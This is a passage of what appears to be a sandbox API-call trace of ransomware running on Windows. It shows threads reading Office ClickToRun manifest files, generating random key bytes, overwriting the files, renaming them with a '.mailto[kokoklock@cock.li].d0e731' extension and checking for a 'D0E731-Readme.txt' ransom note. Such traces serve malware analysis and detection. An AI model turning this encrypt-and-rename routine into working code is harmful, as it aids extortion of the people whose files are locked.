1 [0073.537] SetFilePointerEx (in: hFile=0x928, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.537] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341eaf0 [0073.537] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ede8 [0073.537] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ecd0 [0073.537] NtQuerySystemTime (in: CurrentTime=0x1783f8e4 | out: CurrentTime=0x1783f8e4*=132121176314252601) returned 0x0 [0073.537] RtlRandom (in: Seed=0x1783f8f0 | out: Seed=0x1783f8f0) returned 0x1348864d [0073.537] RtlRandom (in: Seed=0x1783f8f0 | out: Seed=0x1783f8f0) returned 0xe111c621 [0073.537] RtlRandom (in: Seed=0x1783f8f0 | out: Seed=0x1783f8f0) returned 0xe625d7fc [0073.537] RtlRandom (in: Seed=0x1783f8f0 | out: Seed=0x1783f8f0) returned 0x722e4006 [0073.537] RtlRandom (in: Seed=0x1783f8f0 | out: Seed=0x1783f8f0) returned 0xf0a2dfe0 [0073.537] RtlRandom (in: Seed=0x1783f8f0 | out: Seed=0x1783f8f0) returned 0x9d3ae1a7 [0073.538] RtlRandom (in: Seed=0x1783f8f0 | out: Seed=0x1783f8f0) returned 0x4298b885 [0073.538] RtlRandom (in: Seed=0x1783f8f0 | out: Seed=0x1783f8f0) returned 0x441b9aed [0073.538] RtlRandom (in: Seed=0x1783f8f0 | out: Seed=0x1783f8f0) returned 0x3202f2bb [0073.538] RtlRandom (in: Seed=0x1783f8f0 | out: Seed=0x1783f8f0) returned 0x91c260bb [0073.538] RtlRandom (in: Seed=0x1783f8f0 | out: Seed=0x1783f8f0) returned 0x43a1e7f1 [0073.538] RtlRandom (in: Seed=0x1783f8f0 | out: Seed=0x1783f8f0) returned 0xccafae45 [0073.538] RtlRandom (in: Seed=0x1783f8f0 | out: Seed=0x1783f8f0) returned 0xb8e04d2c [0073.538] RtlRandom (in: Seed=0x1783f8f0 | out: Seed=0x1783f8f0) returned 0x5bd78938 [0073.538] RtlRandom (in: Seed=0x1783f8f0 | out: Seed=0x1783f8f0) returned 0xe6f9ad07 [0073.538] RtlRandom (in: Seed=0x1783f8f0 | out: Seed=0x1783f8f0) returned 0x57fae682 [0073.538] RtlRandom (in: Seed=0x1783f8f0 | out: Seed=0x1783f8f0) returned 0x2e37dea4 [0073.538] RtlRandom (in: Seed=0x1783f8f0 | out: Seed=0x1783f8f0) returned 0x782b0f38 [0073.538] RtlRandom (in: Seed=0x1783f8f0 | out: Seed=0x1783f8f0) returned 0xae81819e [0073.538] RtlRandom (in: Seed=0x1783f8f0 | out: Seed=0x1783f8f0) returned 0x6376d8ba [0073.538] RtlRandom (in: Seed=0x1783f8f0 | out: Seed=0x1783f8f0) returned 0x1aaca94e [0073.538] RtlRandom (in: Seed=0x1783f8f0 | out: Seed=0x1783f8f0) returned 0xf3a3d81d [0073.538] RtlRandom (in: Seed=0x1783f8f0 | out: Seed=0x1783f8f0) returned 0x1fd45f95 [0073.538] RtlRandom (in: Seed=0x1783f8f0 | out: Seed=0x1783f8f0) returned 0xbb157b52 [0073.538] RtlRandom (in: Seed=0x1783f8f0 | out: Seed=0x1783f8f0) returned 0x491d283a [0073.538] RtlRandom (in: Seed=0x1783f8f0 | out: Seed=0x1783f8f0) returned 0xf7e9388 [0073.538] RtlRandom (in: Seed=0x1783f8f0 | out: Seed=0x1783f8f0) returned 0x8de1a483 [0073.538] RtlRandom (in: Seed=0x1783f8f0 | out: Seed=0x1783f8f0) returned 0x78c1fc7a [0073.538] RtlRandom (in: Seed=0x1783f8f0 | out: Seed=0x1783f8f0) returned 0x97db4d94 [0073.538] RtlRandom (in: Seed=0x1783f8f0 | out: Seed=0x1783f8f0) returned 0x7cf93369 [0073.538] RtlRandom (in: Seed=0x1783f8f0 | out: Seed=0x1783f8f0) returned 0xcbe4728 [0073.538] RtlRandom (in: Seed=0x1783f8f0 | out: Seed=0x1783f8f0) returned 0xd9b1c303 [0073.550] SetFilePointerEx (in: hFile=0x928, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.550] ReadFile (in: hFile=0x928, lpBuffer=0x3482218, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1783f8bc, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesRead=0x1783f8bc*=0x4096, lpOverlapped=0x0) returned 1 [0073.571] SetFilePointerEx (in: hFile=0x928, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.571] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fda60 [0073.571] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479d30 [0073.571] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341eb90 [0073.571] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341eb90) returned 1 [0073.571] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348a358 [0073.572] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341eb90 [0073.572] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ed20 [0073.572] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ed20) returned 1 [0073.572] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479d30) returned 1 [0073.572] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fda60) returned 1 [0073.572] WriteFile (in: hFile=0x928, lpBuffer=0x348a358*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1783f8bc, lpOverlapped=0x0 | out: lpBuffer=0x348a358*, lpNumberOfBytesWritten=0x1783f8bc*=0x4096, lpOverlapped=0x0) returned 1 [0073.572] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348a358) returned 1 [0073.572] SetFilePointerEx (in: hFile=0x928, liDistanceToMove=0xe71c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.572] WriteFile (in: hFile=0x928, lpBuffer=0x341eb90*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1783f8f4, lpOverlapped=0x0 | out: lpBuffer=0x341eb90*, lpNumberOfBytesWritten=0x1783f8f4*=0x20, lpOverlapped=0x0) returned 1 [0073.573] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341eb90) returned 1 [0073.573] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0073.573] WriteFile (in: hFile=0x928, lpBuffer=0x341eb18*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1783f908, lpOverlapped=0x0 | out: lpBuffer=0x341eb18*, lpNumberOfBytesWritten=0x1783f908*=0x8, lpOverlapped=0x0) returned 1 [0073.573] WriteFile (in: hFile=0x928, lpBuffer=0x1783f920*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1783f908, lpOverlapped=0x0 | out: lpBuffer=0x1783f920*, lpNumberOfBytesWritten=0x1783f908*=0x4, lpOverlapped=0x0) returned 1 [0073.573] WriteFile (in: hFile=0x928, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1783f908, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1783f908*=0x4, lpOverlapped=0x0) returned 1 [0073.573] WriteFile (in: hFile=0x928, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1783f908, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1783f908*=0x6c, lpOverlapped=0x0) returned 1 [0073.573] WriteFile (in: hFile=0x928, lpBuffer=0x341ede8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1783f908, lpOverlapped=0x0 | out: lpBuffer=0x341ede8*, lpNumberOfBytesWritten=0x1783f908*=0x20, lpOverlapped=0x0) returned 1 [0073.573] WriteFile (in: hFile=0x928, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1783f908, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1783f908*=0x4, lpOverlapped=0x0) returned 1 [0073.573] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ede8) returned 1 [0073.573] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ec08) returned 1 [0073.573] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341eb18) returned 1 [0073.573] CloseHandle (hObject=0x928) returned 1 [0073.574] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x12e) returned 0x341da40 [0073.574] wcscpy (in: _Dest=0x341da40, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmui.msi.16.en-us.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmui.msi.16.en-us.xml") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmui.msi.16.en-us.xml" [0073.574] wcscat (in: _Dest=0x341da40, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731" [0073.574] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmui.msi.16.en-us.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.accessmui.msi.16.en-us.xml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.accessmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0073.574] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0073.575] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341da40) returned 1 [0073.575] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmui.msi.16.en-us.xml", dwFileAttributes=0x20) returned 0 [0073.575] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc4) returned 0x3434dd8 [0073.575] wcscpy (in: _Dest=0x3434dd8, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0073.575] wcscat (in: _Dest=0x3434dd8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt" [0073.575] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\d0e731-readme.txt")) returned 0x20 [0073.575] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3434dd8) returned 1 [0073.575] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e59e0) returned 1 [0073.575] RtlExitUserThread (Status=0x1) Thread: id = 598 os_tid = 0x12f8 [0073.514] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmuiset.msi.16.en-us.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.accessmuiset.msi.16.en-us.xml")) returned 0x20 [0073.514] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmuiset.msi.16.en-us.xml", dwFileAttributes=0x20) returned 1 [0073.515] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmuiset.msi.16.en-us.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.accessmuiset.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x930 [0073.515] GetFileSizeEx (in: hFile=0x930, lpFileSize=0x178bfdec | out: lpFileSize=0x178bfdec*=2042) returned 1 [0073.515] SetFilePointerEx (in: hFile=0x930, liDistanceToMove=0x7f6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.515] ReadFile (in: hFile=0x930, lpBuffer=0x178bfdc0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x178bfdbc, lpOverlapped=0x0 | out: lpBuffer=0x178bfdc0*, lpNumberOfBytesRead=0x178bfdbc*=0x4, lpOverlapped=0x0) returned 1 [0073.517] SetFilePointerEx (in: hFile=0x930, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.517] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341eaf0 [0073.517] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ede8 [0073.517] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341eca8 [0073.517] NtQuerySystemTime (in: CurrentTime=0x178bfd98 | out: CurrentTime=0x178bfd98*=132121176314096442) returned 0x0 [0073.517] RtlRandom (in: Seed=0x178bfda4 | out: Seed=0x178bfda4) returned 0xd29eae15 [0073.517] RtlRandom (in: Seed=0x178bfda4 | out: Seed=0x178bfda4) returned 0x55aa4670 [0073.517] RtlRandom (in: Seed=0x178bfda4 | out: Seed=0x178bfda4) returned 0x5ef90373 [0073.517] RtlRandom (in: Seed=0x178bfda4 | out: Seed=0x178bfda4) returned 0x86bd3ce2 [0073.517] RtlRandom (in: Seed=0x178bfda4 | out: Seed=0x178bfda4) returned 0xab845527 [0073.517] RtlRandom (in: Seed=0x178bfda4 | out: Seed=0x178bfda4) returned 0x74639548 [0073.517] RtlRandom (in: Seed=0x178bfda4 | out: Seed=0x178bfda4) returned 0xb1c924ea [0073.517] RtlRandom (in: Seed=0x178bfda4 | out: Seed=0x178bfda4) returned 0xe4a0ec2b [0073.517] RtlRandom (in: Seed=0x178bfda4 | out: Seed=0x178bfda4) returned 0xd7518ec [0073.517] RtlRandom (in: Seed=0x178bfda4 | out: Seed=0x178bfda4) returned 0x8f257b66 [0073.517] RtlRandom (in: Seed=0x178bfda4 | out: Seed=0x178bfda4) returned 0x3a356b58 [0073.517] RtlRandom (in: Seed=0x178bfda4 | out: Seed=0x178bfda4) returned 0x616d5a59 [0073.517] RtlRandom (in: Seed=0x178bfda4 | out: Seed=0x178bfda4) returned 0xf2b34b8 [0073.517] RtlRandom (in: Seed=0x178bfda4 | out: Seed=0x178bfda4) returned 0x2410ef2f [0073.517] RtlRandom (in: Seed=0x178bfda4 | out: Seed=0x178bfda4) returned 0xef404ad8 [0073.517] RtlRandom (in: Seed=0x178bfda4 | out: Seed=0x178bfda4) returned 0x85ea6d6 [0073.517] RtlRandom (in: Seed=0x178bfda4 | out: Seed=0x178bfda4) returned 0x72f9e857 [0073.517] RtlRandom (in: Seed=0x178bfda4 | out: Seed=0x178bfda4) returned 0x5ed174ac [0073.517] RtlRandom (in: Seed=0x178bfda4 | out: Seed=0x178bfda4) returned 0x3922a075 [0073.517] RtlRandom (in: Seed=0x178bfda4 | out: Seed=0x178bfda4) returned 0xd2e60276 [0073.518] RtlRandom (in: Seed=0x178bfda4 | out: Seed=0x178bfda4) returned 0x138897ef [0073.518] RtlRandom (in: Seed=0x178bfda4 | out: Seed=0x178bfda4) returned 0xbb82da9b [0073.518] RtlRandom (in: Seed=0x178bfda4 | out: Seed=0x178bfda4) returned 0xcfa6ffc9 [0073.518] RtlRandom (in: Seed=0x178bfda4 | out: Seed=0x178bfda4) returned 0x9481d744 [0073.518] RtlRandom (in: Seed=0x178bfda4 | out: Seed=0x178bfda4) returned 0xcae32d9 [0073.518] RtlRandom (in: Seed=0x178bfda4 | out: Seed=0x178bfda4) returned 0x7211ca7a [0073.518] RtlRandom (in: Seed=0x178bfda4 | out: Seed=0x178bfda4) returned 0x1b5c0577 [0073.518] RtlRandom (in: Seed=0x178bfda4 | out: Seed=0x178bfda4) returned 0xf7b7a89b [0073.518] RtlRandom (in: Seed=0x178bfda4 | out: Seed=0x178bfda4) returned 0x4d042a55 [0073.518] RtlRandom (in: Seed=0x178bfda4 | out: Seed=0x178bfda4) returned 0xe983e2d4 [0073.518] RtlRandom (in: Seed=0x178bfda4 | out: Seed=0x178bfda4) returned 0xfffa77fa [0073.518] RtlRandom (in: Seed=0x178bfda4 | out: Seed=0x178bfda4) returned 0x8cf5d14 [0073.529] ReadFile (in: hFile=0x930, lpBuffer=0x3482218, nNumberOfBytesToRead=0x7fa, lpNumberOfBytesRead=0x178bfd98, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesRead=0x178bfd98*=0x7fa, lpOverlapped=0x0) returned 1 [0073.529] SetFilePointerEx (in: hFile=0x930, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x178bfd60 | out: lpNewFilePointer=0x0) returned 1 [0073.529] WriteFile (in: hFile=0x930, lpBuffer=0x34862b8*, nNumberOfBytesToWrite=0x7fa, lpNumberOfBytesWritten=0x178bfd94, lpOverlapped=0x0 | out: lpBuffer=0x34862b8*, lpNumberOfBytesWritten=0x178bfd94*=0x7fa, lpOverlapped=0x0) returned 1 [0073.530] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341eaf0 [0073.530] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341eb40 [0073.530] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341eb40) returned 1 [0073.530] WriteFile (in: hFile=0x930, lpBuffer=0x341eaf0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x178bfd90, lpOverlapped=0x0 | out: lpBuffer=0x341eaf0*, lpNumberOfBytesWritten=0x178bfd90*=0x20, lpOverlapped=0x0) returned 1 [0073.530] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341eaf0) returned 1 [0073.530] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34862b8) returned 1 [0073.530] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0073.530] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479cb8) returned 1 [0073.530] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fda60) returned 1 [0073.530] WriteFile (in: hFile=0x930, lpBuffer=0x341eb18*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x178bfdbc, lpOverlapped=0x0 | out: lpBuffer=0x341eb18*, lpNumberOfBytesWritten=0x178bfdbc*=0x8, lpOverlapped=0x0) returned 1 [0073.530] WriteFile (in: hFile=0x930, lpBuffer=0x178bfdd4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x178bfdbc, lpOverlapped=0x0 | out: lpBuffer=0x178bfdd4*, lpNumberOfBytesWritten=0x178bfdbc*=0x4, lpOverlapped=0x0) returned 1 [0073.530] WriteFile (in: hFile=0x930, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x178bfdbc, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x178bfdbc*=0x4, lpOverlapped=0x0) returned 1 [0073.530] WriteFile (in: hFile=0x930, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x178bfdbc, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x178bfdbc*=0x6c, lpOverlapped=0x0) returned 1 [0073.530] WriteFile (in: hFile=0x930, lpBuffer=0x341ede8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x178bfdbc, lpOverlapped=0x0 | out: lpBuffer=0x341ede8*, lpNumberOfBytesWritten=0x178bfdbc*=0x20, lpOverlapped=0x0) returned 1 [0073.530] WriteFile (in: hFile=0x930, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x178bfdbc, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x178bfdbc*=0x4, lpOverlapped=0x0) returned 1 [0073.531] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ede8) returned 1 [0073.531] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ec08) returned 1 [0073.531] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341eb18) returned 1 [0073.531] CloseHandle (hObject=0x930) returned 1 [0073.531] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x134) returned 0x341da40 [0073.531] wcscpy (in: _Dest=0x341da40, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmuiset.msi.16.en-us.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmuiset.msi.16.en-us.xml") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmuiset.msi.16.en-us.xml" [0073.531] wcscat (in: _Dest=0x341da40, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmuiset.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmuiset.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731" [0073.531] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmuiset.msi.16.en-us.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.accessmuiset.msi.16.en-us.xml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmuiset.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.accessmuiset.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0073.536] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmuiset.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0073.536] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341da40) returned 1 [0073.536] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmuiset.msi.16.en-us.xml", dwFileAttributes=0x20) returned 0 [0073.536] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc4) returned 0x3434dd8 [0073.536] wcscpy (in: _Dest=0x3434dd8, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0073.536] wcscat (in: _Dest=0x3434dd8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt" [0073.536] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\d0e731-readme.txt")) returned 0x20 [0073.536] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3434dd8) returned 1 [0073.536] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e20c8) returned 1 [0073.536] RtlExitUserThread (Status=0x1) Thread: id = 599 os_tid = 0x1308 [0073.516] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.dcf.dcf.x-none.msi.16.x-none.xml")) returned 0x20 [0073.555] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml", dwFileAttributes=0x20) returned 1 [0073.555] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.dcf.dcf.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x924 [0073.555] GetFileSizeEx (in: hFile=0x924, lpFileSize=0x1793fadc | out: lpFileSize=0x1793fadc*=16148) returned 1 [0073.555] SetFilePointerEx (in: hFile=0x924, liDistanceToMove=0x3f10, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.555] ReadFile (in: hFile=0x924, lpBuffer=0x1793fab0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1793faac, lpOverlapped=0x0 | out: lpBuffer=0x1793fab0*, lpNumberOfBytesRead=0x1793faac*=0x4, lpOverlapped=0x0) returned 1 [0073.558] SetFilePointerEx (in: hFile=0x924, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 